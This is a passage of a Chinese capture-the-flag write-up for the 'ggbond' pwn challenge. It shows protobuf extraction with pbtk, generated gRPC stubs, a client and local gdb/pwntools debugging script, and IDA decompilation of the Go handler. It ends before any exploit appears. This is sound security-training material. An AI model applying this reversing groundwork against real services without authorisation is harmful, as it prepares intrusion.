xctf_ggbord复现
ggbond
可以发现主函数是main_main,同时存在大量grpc字段,可以判断出程序使用了grpc框架。和grpc框架开发的程序进行交互,需要提取protobuf,protobuf谷歌开发的数据序列化格式,它通常用于网络通信和数据存储的应用程序之间的结构化数据交换。这个工具让你能够定义交互时消息的数据结构。
程序套了grpc,与程序的交互不再直接通过标准输入,而需要通过定义的 gRPC 服务接口来进行,然后grpc 使用一个叫protobuf的结构去描述怎么和程序交互的,首先需要提取出程序中的protobuf,然后python中有一个叫grpc_tools的库可以通过 protobuf文件生成和程序交互的代码。
github上有一个叫pbtk的项目可以提取出elf的 protobuf结构
使用 pbtk提取 protobuf文件
./pbtk/extractors/from_binary.py pwn
提取出来的protobuf文件
syntax = "proto3";
package GGBond;
option go_package = "./;ggbond";
service GGBondServer {
rpc Handler(Request) returns (Response);
}
message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}
message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}
message WhoamiRequest {
}
message WhoamiResponse {
string message = 2000;
}
message RoleChangeRequest {
uint32 role = 1001;
}
message RoleChangeResponse {
string message = 2001;
}
message RepeaterRequest {
string message = 1002;
}
message RepeaterResponse {
string message = 2002;
}
message ErrorResponse {
string message = 4444;
}
使用grpc_tools 生成和程序交互的函数库的命令
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ./ggbond.proto
可以发现多出来两个文件 ggbond_pb2_grpc.py ggbond_pb2.py
ggbond_pb2.py
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: ggbond.proto
# Protobuf Python Version: 5.26.1
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0cggbond.proto\x12\x06GGBond\"\x9c\x01\n\x07Request\x12\'\n\x06whoami\x18\x64 \x01(\x0b\x32\x15.GGBond.WhoamiRequestH\x00\x12\x30\n\x0brole_change\x18\x65 \x01(\x0b\x32\x19.GGBond.RoleChangeRequestH\x00\x12+\n\x08repeater\x18\x66 \x01(\x0b\x32\x17.GGBond.RepeaterRequestH\x00\x42\t\n\x07request\"\xcd\x01\n\x08Response\x12)\n\x06whoami\x18\xc8\x01 \x01(\x0b\x32\x16.GGBond.WhoamiResponseH\x00\x12\x32\n\x0brole_change\x18\xc9\x01 \x01(\x0b\x32\x1a.GGBond.RoleChangeResponseH\x00\x12-\n\x08repeater\x18\xca\x01 \x01(\x0b\x32\x18.GGBond.RepeaterResponseH\x00\x12\'\n\x05\x65rror\x18\xbc\x03 \x01(\x0b\x32\x15.GGBond.ErrorResponseH\x00\x42\n\n\x08response\"\x0f\n\rWhoamiRequest\"\"\n\x0eWhoamiResponse\x12\x10\n\x07message\x18\xd0\x0f \x01(\t\"\"\n\x11RoleChangeRequest\x12\r\n\x04role\x18\xe9\x07 \x01(\r\"&\n\x12RoleChangeResponse\x12\x10\n\x07message\x18\xd1\x0f \x01(\t\"#\n\x0fRepeaterRequest\x12\x10\n\x07message\x18\xea\x07 \x01(\t\"$\n\x10RepeaterResponse\x12\x10\n\x07message\x18\xd2\x0f \x01(\t\"!\n\rErrorResponse\x12\x10\n\x07message\x18\xdc\" \x01(\t2<\n\x0cGGBondServer\x12,\n\x07Handler\x12\x0f.GGBond.Request\x1a\x10.GGBond.ResponseB\x0bZ\t./;ggbondb\x06proto3')
_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'ggbond_pb2', _globals)
if not _descriptor._USE_C_DESCRIPTORS:
_globals['DESCRIPTOR']._loaded_options = None
_globals['DESCRIPTOR']._serialized_options = b'Z\t./;ggbond'
_globals['_REQUEST']._serialized_start=25
_globals['_REQUEST']._serialized_end=181
_globals['_RESPONSE']._serialized_start=184
_globals['_RESPONSE']._serialized_end=389
_globals['_WHOAMIREQUEST']._serialized_start=391
_globals['_WHOAMIREQUEST']._serialized_end=406
_globals['_WHOAMIRESPONSE']._serialized_start=408
_globals['_WHOAMIRESPONSE']._serialized_end=442
_globals['_ROLECHANGEREQUEST']._serialized_start=444
_globals['_ROLECHANGEREQUEST']._serialized_end=478
_globals['_ROLECHANGERESPONSE']._serialized_start=480
_globals['_ROLECHANGERESPONSE']._serialized_end=518
_globals['_REPEATERREQUEST']._serialized_start=520
_globals['_REPEATERREQUEST']._serialized_end=555
_globals['_REPEATERRESPONSE']._serialized_start=557
_globals['_REPEATERRESPONSE']._serialized_end=593
_globals['_ERRORRESPONSE']._serialized_start=595
_globals['_ERRORRESPONSE']._serialized_end=628
_globals['_GGBONDSERVER']._serialized_start=630
_globals['_GGBONDSERVER']._serialized_end=690
# @@protoc_insertion_point(module_scope)
ggbond_pb2_grpc.py
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
import warnings
import ggbond_pb2 as ggbond__pb2
GRPC_GENERATED_VERSION = '1.64.0'
GRPC_VERSION = grpc.__version__
EXPECTED_ERROR_RELEASE = '1.65.0'
SCHEDULED_RELEASE_DATE = 'June 25, 2024'
_version_not_supported = False
try:
from grpc._utilities import first_version_is_lower
_version_not_supported = first_version_is_lower(GRPC_VERSION, GRPC_GENERATED_VERSION)
except ImportError:
_version_not_supported = True
if _version_not_supported:
warnings.warn(
f'The grpc package installed is at version {GRPC_VERSION},'
+ f' but the generated code in ggbond_pb2_grpc.py depends on'
+ f' grpcio>={GRPC_GENERATED_VERSION}.'
+ f' Please upgrade your grpc module to grpcio>={GRPC_GENERATED_VERSION}'
+ f' or downgrade your generated code using grpcio-tools<={GRPC_VERSION}.'
+ f' This warning will become an error in {EXPECTED_ERROR_RELEASE},'
+ f' scheduled for release on {SCHEDULED_RELEASE_DATE}.',
RuntimeWarning
)
class GGBondServerStub(object):
"""Missing associated documentation comment in .proto file."""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.Handler = channel.unary_unary(
'/GGBond.GGBondServer/Handler',
request_serializer=ggbond__pb2.Request.SerializeToString,
response_deserializer=ggbond__pb2.Response.FromString,
_registered_method=True)
class GGBondServerServicer(object):
"""Missing associated documentation comment in .proto file."""
def Handler(self, request, context):
"""Missing associated documentation comment in .proto file."""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_GGBondServerServicer_to_server(servicer, server):
rpc_method_handlers = {
'Handler': grpc.unary_unary_rpc_method_handler(
servicer.Handler,
request_deserializer=ggbond__pb2.Request.FromString,
response_serializer=ggbond__pb2.Response.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'GGBond.GGBondServer', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
server.add_registered_method_handlers('GGBond.GGBondServer', rpc_method_handlers)
# This class is part of an EXPERIMENTAL API.
class GGBondServer(object):
"""Missing associated documentation comment in .proto file."""
@staticmethod
def Handler(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(
request,
target,
'/GGBond.GGBondServer/Handler',
ggbond__pb2.Request.SerializeToString,
ggbond__pb2.Response.FromString,
options,
channel_credentials,
insecure,
call_credentials,
compression,
wait_for_ready,
timeout,
metadata,
_registered_method=True)
其中ggbond_pb2.py 定义了交互的时候消息的数据结构
ggbond_pb2_grpc.py 定义了交互的时候 接收 处理 响应请求的代码
通过grpc_tools 生成ggbond_pb2_grpc.py ggbond_pb2.py这两个文件后,就要弄清楚这两个库该怎么用,还有交互的板子该怎么写的问题
protobuf中定义了一个叫 GGBondServer的 rpc服务,其中有三个 request请求
syntax = "proto3";
package GGBond;
option go_package = "./;ggbond";
service GGBondServer {
rpc Handler(Request) returns (Response);
}
message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}
message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}
message WhoamiRequest {
}
message WhoamiResponse {
string message = 2000;
}
message RoleChangeRequest {
uint32 role = 1001;
}
message RoleChangeResponse {
string message = 2001;
}
message RepeaterRequest {
string message = 1002;
}
message RepeaterResponse {
string message = 2002;
}
message ErrorResponse {
string message = 4444;
}
根据gpt给的样例,交互的板子是这样的
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
def whoami(chan):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
return respond
def role_change(chan,role):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
return respond
def repeater(chan,message):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=message)))
return respond
之后就是找protobuf中定义的三个request对应的handler代码在哪里,这三个handler的代码块 就是程序的 “主逻辑”
在main_main函数中,有一个google_golang_org_grpc__ptr_Server_RegisterService函数,第二个参数是一个描述服务的结构体ServiceDesc,其中MethodDest结构体中有一个handler指针,指向handler函数
v11.data = &unk_C94D10;
google_golang_org_grpc__ptr_Server_RegisterService(v8, &stru_C59860, v11);
v6 = (*(__int64 (__golang **)(__int64))(v9[0] + 32LL))(3LL);
结构体的定义
type ServiceDesc struct {
ServiceName string
HandlerType interface{}
Methods []MethodDesc
Streams []StreamDesc
}
type MethodDesc struct {
MethodName string
Handler func(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor UnaryServerInterceptor) (interface{}, error)
}
type StreamDesc struct {
StreamName string
Handler func(srv interface{}, stream ServerStream) error
ServerStreams bool
ClientStreams bool
}
在ida的结构是这样的
.data:0000000000C59860 ; grpc_ServiceDesc stru_C59860
.data:0000000000C59860 stru_C59860 dq offset aGgbondGgbondse_0; ServiceName.ptr
.data:0000000000C59860 ; DATA XREF: main_main+121↑o
.data:0000000000C59868 dq 13h ; ServiceName.len ; "GGBond.GGBondServer"
.data:0000000000C59870 dq offset RTYPE__ptr_ggbond_GGBondServerServer; HandlerType.tab
.data:0000000000C59878 dq 0 ; HandlerType.data
.data:0000000000C59880 dq offset off_C525C0 ; Methods.ptr
.data:0000000000C59888 dq 1 ; Methods.len
.data:0000000000C59890 dq 1 ; Methods.cap
.data:0000000000C59898 dq offset byte_C94A20 ; Streams.ptr
.data:0000000000C598A0 dq 0 ; Streams.len
.data:0000000000C598A8 dq 0 ; Streams.cap
.data:0000000000C598B0 dq offset RTYPE_string ; Metadata.tab
.data:0000000000C598B8 dq offset off_C51630 ; Metadata.data
从methods.ptr这个指针跟过去 0x90BD28h 这个就是handler函数的地址了
.data:0000000000C525C0 off_C525C0 dq offset aFlagsLenDLocks+222h
.data:0000000000C525C0 ; DATA XREF: .data:stru_C59860↓o
.data:0000000000C525C0 ; "HandlerHanunooHstrok;ILLEGALIM UsedIO w"...
.data:0000000000C525C8 db 7
.data:0000000000C525C9 db 0
.data:0000000000C525CA db 0
.data:0000000000C525CB db 0
.data:0000000000C525CC db 0
.data:0000000000C525CD db 0
.data:0000000000C525CE db 0
.data:0000000000C525CF db 0
.data:0000000000C525D0 dd 90BD28h
.data:0000000000C525D4 align 20h
handler函数的逻辑
// main/ggbond._GGBondServer_Handler_Handler
RTYPE *__golang main_ggbond__GGBondServer_Handler_Handler(
void *a1,
void *a2,
__int64 a3,
__int64 a4,
__int64 (__golang **a5)(RTYPE *, ggbond_Request *),
__int64 (__golang **a6)(_QWORD, _QWORD, RTYPE *, ggbond_Request *, grpc_UnaryServerInfo *, _QWORD *))
{
__int64 v6; // r14
int v7; // r8d
int v8; // r9d
int v9; // r10d
int v10; // r11d
char *v11; // rcx
__int64 i; // rax
grpc_UnaryServerInfo *p_grpc_UnaryServerInfo; // rax
_QWORD *v14; // rax
__int64 v15; // rdx
__int64 v16; // r8
void *v17; // rcx
__int64 v19; // rax
char v20[80]; // [rsp+40h] [rbp-338h] BYREF
char v21; // [rsp+90h] [rbp-2E8h] BYREF
grpc_UnaryServerInfo *v22; // [rsp+340h] [rbp-38h]
ggbond_Request *p_ggbond_Request; // [rsp+348h] [rbp-30h]
void *v24; // [rsp+350h] [rbp-28h]
char *v25; // [rsp+358h] [rbp-20h]
__int64 v26; // [rsp+360h] [rbp-18h]
__int64 v27; // [rsp+368h] [rbp-10h]
void *v29; // [rsp+380h] [rbp+8h]
__int64 v32; // [rsp+390h] [rbp+18h]
__int64 v33; // [rsp+390h] [rbp+18h]
__int64 (__golang **v37)(__int64, __int64, RTYPE *, ggbond_Request *, grpc_UnaryServerInfo *, _QWORD *); // [rsp+3A8h] [rbp+30h]
__int64 (__golang **v38)(_QWORD, _QWORD, RTYPE *, ggbond_Request *, grpc_UnaryServerInfo *, _QWORD *); // [rsp+3A8h] [rbp+30h]
while ( (unsigned __int64)&v21 <= *(_QWORD *)(v6 + 16) )
{
v29 = a1;
v33 = a3;
v38 = a6;
runtime_morestack_noctxt();
a1 = v29;
a3 = v33;
a6 = v38;
}
v37 = a6;
v32 = a3;
v24 = a1;
p_ggbond_Request = (ggbond_Request *)runtime_newobject(&RTYPE_ggbond_Request);
if ( (*a5)(&RTYPE__ptr_ggbond_Request, p_ggbond_Request) )
return 0LL;
if ( v37 )
{
p_grpc_UnaryServerInfo = (grpc_UnaryServerInfo *)runtime_newobject(&RTYPE_grpc_UnaryServerInfo);
p_grpc_UnaryServerInfo->Server.tab = v24;
if ( dword_C95060 )
p_grpc_UnaryServerInfo = (grpc_UnaryServerInfo *)runtime_gcWriteBarrierDX(
&p_grpc_UnaryServerInfo->Server.data,
a5,
a2);
else
p_grpc_UnaryServerInfo->Server.data = a2;
v22 = p_grpc_UnaryServerInfo;
p_grpc_UnaryServerInfo->FullMethod.len = 28LL;
p_grpc_UnaryServerInfo->FullMethod.ptr = "/GGBond.GGBondServer/Handler";
v14 = runtime_newobject((const RTYPE *)&unk_866D80);
*v14 = main_ggbond__GGBondServer_Handler_Handler_func1;
v17 = v24;
v14[1] = v24;
if ( dword_C95060 )
v14 = (_QWORD *)runtime_gcWriteBarrierR9(v14 + 2, a5, v15, v17, v16, a2);
else
v14[2] = a2;
return (RTYPE *)(*v37)(v32, a4, &RTYPE__ptr_ggbond_Request, p_ggbond_Request, v22, v14);
}
else
{
((void (__fastcall *)(char *))loc_468D3C)(v20);
v25 = v20;
v26 = 768LL;
v27 = 768LL;
v11 = v20;
for ( i = 0LL; i < 16; ++i )
*v11++ = 16;
v19 = runtime_assertE2I(
(unsigned int)&RTYPE_ggbond_GGBondServerServer,
(_DWORD)v24,
(_DWORD)v11,
(unsigned int)v20,
(_DWORD)a5,
v7,
v8,
v9,
v10);
(*(void (__golang **)(void *, __int64, __int64, ggbond_Request *))(v19 + 24))(a2, v32, a4, p_ggbond_Request);
return &RTYPE__ptr_ggbond_Response;
}
}
可以发现这段代码大多数逻辑都是做资源分配,还有service信息的设置,关键的逻辑在这里,这里有一个函数指针的调用
v19 = runtime_assertE2I(
(unsigned int)&RTYPE_ggbond_GGBondServerServer,
(_DWORD)v24,
(_DWORD)v11,
(unsigned int)v20,
(_DWORD)a5,
v7,
v8,
v9,
v10);
(*(void (__golang **)(void *, __int64, __int64, ggbond_Request *))(v19 + 24))(a2, v32, a4, p_ggbond_Request);
v19 + 24这个函数指针不知道是什么地址
.text:00000000007ED532 mov rdi, [rsp+368h+var_30]
.text:00000000007ED53A mov rdx, rcx
.text:00000000007ED53D mov rcx, [rsp+368h+arg_18]
.text:00000000007ED545 call rdx
可以用gdb.attach()打个断点看看
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
from pwn import *
def whoami(chan):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
return respond
def role_change(chan,role):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
return respond
def repeater(chan,message):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=message)))
return respond
file_path = './pwn'
p1 = process(file_path)
p = remote("127.0.0.1", 23334)
channel=grpc.insecure_channel('localhost:23334')
gdb_comm = '''
b *0x00000000007ED545
c
'''
gdb.attach(p1,gdb_comm)
print(whoami(channel))
调用的是0x7ed860 这个地址,跟过去发现 main__ptr_server_Handler这个函数
► 0x7ed545 call rdx <0x7ed860>
main__ptr_server_Handler
// main.(*server).Handler
// local variable allocation has failed, the output may be wrong!
retval_848680 __golang main__ptr_server_Handler(_ptr_main_server a1, context_Context a2, _ptr_ggbond_Request p_data)
{
__int64 v3; // rsi
__int64 v4; // r14
__int128 v5; // xmm15
RTYPE **tab; // rcx
ggbond_Response_Whoami *p_ggbond_Response_Whoami; // rax
__int64 v8; // rdx
ggbond_Response *p_ggbond_Response; // rax
int v10; // r9d
__int64 v11; // r10
int v12; // r11d
RTYPE **v13; // rcx
__int64 *v14; // r8
__int64 v15; // rax
__int64 v16; // rdi
ggbond_Response *v17; // rax
void *v18; // rbx
void *v19; // rcx
ggbond_Response_RoleChange *p_ggbond_Response_RoleChange; // rax
__int64 v21; // rdx
__int64 v22; // r8
__int64 v23; // r9
int v24; // r10d
RTYPE **v25; // rcx
RTYPE **v26; // r10
__int64 *v27; // r11
__int64 v28; // rax
__int64 v29; // rdi
__int64 *v30; // rsi
__int64 v31; // rdi
ggbond_Response_Repeater *p_ggbond_Response_Repeater; // rax
__int64 v33; // rdx
ggbond_Response *v34; // rax
__int64 v35; // r9
__int64 v36; // r10
int v37; // r11d
RTYPE **v38; // rcx
__int64 *v39; // r8
void *v40; // rbx
__int64 v41; // rax
int v42; // r8d
int v43; // r9d
int v44; // r10d
__int64 v45; // rdi
RTYPE **v46; // rax
__int128 *v47; // rsi
uint8 *v48; // rdi
__int64 i; // rax
ggbond_Response_Repeater *v50; // rax
__int64 v51; // rdx
ggbond_Response *v52; // rax
__int64 v53; // r8
__int64 v54; // r9
RTYPE **v55; // rcx
__int64 *v56; // r10
void *v57; // rbx
void *v58; // rcx
RTYPE **v59; // r11
void *v60; // rdx
__int64 v61; // rax
__int64 v62; // rdi
ggbond_Response_Error *p_ggbond_Response_Error; // rax
__int64 v64; // rdx
int v65; // r8d
int v66; // r9d
int v67; // r10d
RTYPE **v68; // rcx
__int64 *v69; // rsi
__int64 v70; // rdi
unsigned int v71; // [rsp+0h] [rbp-D4h]
size_t len; // [rsp+4h] [rbp-D0h]
__int128 v73[2]; // [rsp+Ch] [rbp-C8h] BYREF
ggbond_Response *v74; // [rsp+2Ch] [rbp-A8h]
ggbond_Response *v75; // [rsp+34h] [rbp-A0h]
ggbond_Response *v76; // [rsp+3Ch] [rbp-98h]
ggbond_Response *v77; // [rsp+44h] [rbp-90h] BYREF
ggbond_WhoamiResponse *p_ggbond_WhoamiResponse; // [rsp+4Ch] [rbp-88h]
ggbond_RoleChangeResponse *p_ggbond_RoleChangeResponse; // [rsp+54h] [rbp-80h]
ggbond_RepeaterResponse *p_ggbond_RepeaterResponse; // [rsp+5Ch] [rbp-78h]
ggbond_RepeaterResponse *v81; // [rsp+64h] [rbp-70h]
ggbond_ErrorResponse *p_ggbond_ErrorResponse; // [rsp+6Ch] [rbp-68h]
ggbond_Response_Error *v83; // [rsp+74h] [rbp-60h]
ggbond_Response_Repeater *v84; // [rsp+7Ch] [rbp-58h]
ggbond_Response_RoleChange *v85; // [rsp+84h] [rbp-50h]
__int64 *v86; // [rsp+8Ch] [rbp-48h]
ggbond_Response_Whoami *v87; // [rsp+94h] [rbp-40h]
uint8 *ptr; // [rsp+9Ch] [rbp-38h]
size_t v89; // [rsp+A4h] [rbp-30h]
size_t cap; // [rsp+ACh] [rbp-28h]
__int128 *v91; // [rsp+B4h] [rbp-20h]
__int64 v92; // [rsp+BCh] [rbp-18h]
__int64 v93; // [rsp+C4h] [rbp-10h]
main_server *v94; // [rsp+DCh] [rbp+8h]
void *data; // [rsp+ECh] [rbp+18h]
_ptr_ggbond_Request v96; // [rsp+F4h] [rbp+20h]
string v97; // 0:rbx.8,8:rcx.8
retval_848680 result; // 0:rax.8,8:rbx.8,16:rcx.8
retval_83EE40 v99; // 0:rax.8,8:rbx.8,16:rcx.8,24:rdi.16
while ( (unsigned __int64)&v77 <= *(_QWORD *)(v4 + 16) )
{
v94 = a1;
data = a2.data;
runtime_morestack_noctxt();
a1 = v94;
a2.data = data;
}
tab = (RTYPE **)p_data->Request.tab;
if ( !tab )
goto LABEL_63;
if ( tab == off_979A00 )
{
p_ggbond_WhoamiResponse = (ggbond_WhoamiResponse *)runtime_newobject(&RTYPE_ggbond_WhoamiResponse);
p_ggbond_Response_Whoami = (ggbond_Response_Whoami *)runtime_newobject(&RTYPE_ggbond_Response_Whoami);
v87 = p_ggbond_Response_Whoami;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)p_ggbond_Response_Whoami;
runtime_gcWriteBarrierCX(p_ggbond_Response_Whoami, v3, v8);
}
else
{
p_ggbond_Response_Whoami->Whoami = p_ggbond_WhoamiResponse;
}
p_ggbond_Response = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v13 = off_979AA0;
p_ggbond_Response->Response.tab = off_979AA0;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)&p_ggbond_Response->Response.data;
p_ggbond_Response = (ggbond_Response *)runtime_gcWriteBarrierDX(&p_ggbond_Response->Response.data, v3);
}
else
{
p_ggbond_Response->Response.data = v87;
}
v14 = (__int64 *)p_ggbond_Response->Response.data;
if ( p_ggbond_Response->Response.tab != v13 )
runtime_panicdottypeI(
p_ggbond_Response->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_Whoami,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
v3,
(_DWORD)v14,
v10,
v11);
if ( qword_C525A8 <= (unsigned __int64)qword_C94B80 )
runtime_panicIndex(
qword_C94B80,
&RTYPE__ptr_ggbond_Response_Whoami,
qword_C525A8,
p_data,
v3,
v14,
off_C525A0,
v11);
v77 = p_ggbond_Response;
v86 = v14;
v15 = runtime_concatstring2(
0,
(unsigned int)"I'm IDLEIMAGINFOIcy;Ifr;Int;IumlJcy;Jfr;JulyJuneKcy;Kfr;KindLEAFLcy;Lfr;LisuLsh;MBoxMap;Mcy;Mfr;MiaoModiNONENameNcy;NewaNfr;Not;Ocy;Ofr;OumlPINGPOSTPagePathPcy;Pfr;Phi;PortPrefPsi;QUOTQfr;REG;Rcy;Rfr;Rho;Rsh;Scy;Sfr;Sub;Sum;Sup;Tab;Tau;Tcy;Tfr;ThaiTrueTypeUcy;Ufr;UumlVcy;Vee;Vfr;Wfr;Xfr;Ycy;Yfr;Zcy;Zfr;\"%d\"\", \"\"OK\"\"`'/\\/[]",
4,
(unsigned int)off_C525A0[2 * qword_C94B80],
(unsigned int)off_C525A0[2 * qword_C94B80 + 1],
(_DWORD)v14,
(_DWORD)off_C525A0,
v11,
v12);
v16 = *v86;
*(_QWORD *)(*v86 + 48) = "I'm IDLEIMAGINFOIcy;Ifr;Int;IumlJcy;Jfr;JulyJuneKcy;Kfr;KindLEAFLcy;Lfr;LisuLsh;MBoxMap;Mcy;Mfr;MiaoModiNONENameNcy;NewaNfr;Not;Ocy;Ofr;OumlPINGPOSTPagePathPcy;Pfr;Phi;PortPrefPsi;QUOTQfr;REG;Rcy;Rfr;Rho;Rsh;Scy;Sfr;Sub;Sum;Sup;Tab;Tau;Tcy;Tfr;ThaiTrueTypeUcy;Ufr;UumlVcy;Vee;Vfr;Wfr;Xfr;Ycy;Yfr;Zcy;Zfr;\"%d\"\", \"\"OK\"\"`'/\\/[]";
if ( dword_C95060 )
runtime_gcWriteBarrier(v16 + 40);
else
*(_QWORD *)(v16 + 40) = v15;
v17 = v77;
v18 = 0LL;
v19 = 0LL;
goto LABEL_90;
}
if ( tab == off_9799E0 )
{
v71 = *(_DWORD *)(*(_QWORD *)p_data->Request.data + 40LL);
p_ggbond_RoleChangeResponse = (ggbond_RoleChangeResponse *)runtime_newobject(&RTYPE_ggbond_RoleChangeResponse);
p_ggbond_Response_RoleChange = (ggbond_Response_RoleChange *)runtime_newobject(&RTYPE_ggbond_Response_RoleChange);
v85 = p_ggbond_Response_RoleChange;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)p_ggbond_Response_RoleChange;
runtime_gcWriteBarrierCX(p_ggbond_Response_RoleChange, v3, v21);
}
else
{
p_ggbond_Response_RoleChange->RoleChange = p_ggbond_RoleChangeResponse;
}
v17 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v25 = off_979A80;
v17->Response.tab = off_979A80;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)&v17->Response.data;
v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v17->Response.data, v3);
}
else
{
v17->Response.data = v85;
}
if ( v71 > 3 )
{
v30 = (__int64 *)v17->Response.data;
if ( v17->Response.tab != v25 )
runtime_panicdottypeI(
v17->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_RoleChange,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
(_DWORD)v30,
v22,
v23,
v24);
v31 = *v30;
*(_QWORD *)(*v30 + 48) = 15LL;
if ( dword_C95060 )
v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(v31 + 40, v30);
else
*(_QWORD *)(v31 + 40) = "Role No Change.ShortDownArrow;ShortLeftArrow;SquareSuperset;The server portTildeFullEqual;UNAUTHENTICATEDUnauthenticatedUpperLeftArrow;X-Forwarded-ForZeroWidthSpace;\"UNIMPLEMENTED\"]\n\tmorebuf={pc:accept-encodingaccept-languageadvertise erroraggregate_valueapplication/pdfasyncpreemptoffavx512vpopcntdqbad certificatebad trailer keycontenteditablecopy_file_rangecurvearrowleft;double scavengedoublebarwedge;downdownarrows;duplicated nameelem size wrongextension_rangeforce gc (idle)hookrightarrow;html/template: invalid addressinvalid argSizeinvalid booleaninvalid kind %vinvalid paddinginvalid pointerjstmpllitinterpkey has expiredleftleftarrows;leftrightarrow;leftthreetimes;longrightarrow;looparrowright;malloc deadlockmisaligned maskmissing addressmissing mcache?ms: gomaxprocs=negative offsetnetwork is downno dot in fieldno medium foundno such processnon-minimal tagnot a directorynshortparallel;ntriangleright;preempt SPWRITEproto3_optionalrecord overflowrecovery failedreflectlite.Setrightarrowtail;rightharpoonup;runtime error: runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding psync.Mutex.Locktemplate clausetraceback stucktrianglelefteq;unclosed actionunexpected typeunknown Go typeunknown networkunverified_lazyupharpoonright;weak_dependency already; errno= mheap.sweepgen= not in ranges:\n untyped locals %s %s HTTP/1.1\r\n%s overflows int, not a function.WithValue(type /etc/resolv.conf0123456789ABCDEF0123456789abcdef2384185791015625: value of type <stream: %p, %v>Already ReportedAttributes: %v, CloseCurlyQuote;Content-EncodingContent-LanguageContent-Length: ContourIntegral;DeadlineExceededDoubleDownArrow;DoubleLeftArrow;DownRightVector;FRAME_SIZE_ERRORGC scavenge waitGC worker (idle)GODEBUG: value \"GOTRACEBACK=noneINVALID_ARGUMENTImperial_AramaicInstRuneAnyNotNLLeftRightVector;LeftTriangleBar;LeftUpTeeVector;LeftUpVectorBar;LowerRightArrow;Meroitic_CursiveMultiple ChoicesNotGreaterEqual;NotGreaterTilde;NotHumpDownHump;NotLeftTriangle;NotSquareSubset;Other_AlphabeticOverParenthesis;Payment RequiredPermissionDeniedProxy-ConnectionRCodeFormatErrorRETENTION_SOURCERightDownVector;SETTINGS_TIMEOUTSIGNONE: no trapServerName: %q, ShortRightArrow;TARGET_TYPE_ENUMTARGET_TYPE_FILEUpgrade RequiredUpperRightArrow;User-Agent: %s\r\nWww-AuthenticateZanabazar_Square\"ALREADY_EXISTS\"\nruntime stack:\n";
}
else
{
qword_C94B80 = v71;
v26 = (RTYPE **)v17->Response.tab;
v27 = (__int64 *)v17->Response.data;
if ( v26 != v25 )
runtime_panicdottypeI(
v17->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_RoleChange,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
v3,
v22,
v23,
(_DWORD)v26);
if ( qword_C525A8 <= (unsigned __int64)v71 )
runtime_panicIndex(v71, &RTYPE__ptr_ggbond_Response_RoleChange, qword_C525A8, p_data, v3, v22, v23, off_C525A0);
v76 = v17;
v86 = v27;
v28 = runtime_concatstring3(
0,
(unsigned int)&aPrototyperpcVR[2958],
10,
(unsigned int)off_C525A0[2 * v71],
(unsigned int)off_C525A0[2 * v71 + 1],
(unsigned int)".",
1,
(_DWORD)off_C525A0,
(_DWORD)v27);
v29 = *v86;
*(_QWORD *)(*v86 + 48) = &aPrototyperpcVR[2958];
if ( dword_C95060 )
runtime_gcWriteBarrier(v29 + 40);
else
*(_QWORD *)(v29 + 40) = v28;
v17 = v76;
}
v18 = 0LL;
v19 = 0LL;
